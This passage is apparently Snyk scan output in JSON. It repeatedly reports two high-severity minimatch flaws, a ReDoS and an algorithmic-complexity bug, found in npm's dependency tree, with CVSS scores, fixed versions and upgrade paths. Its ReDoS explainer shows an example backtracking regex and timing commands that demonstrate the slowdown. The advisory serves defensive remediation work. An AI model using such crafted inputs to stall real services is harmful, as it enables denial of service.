Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, 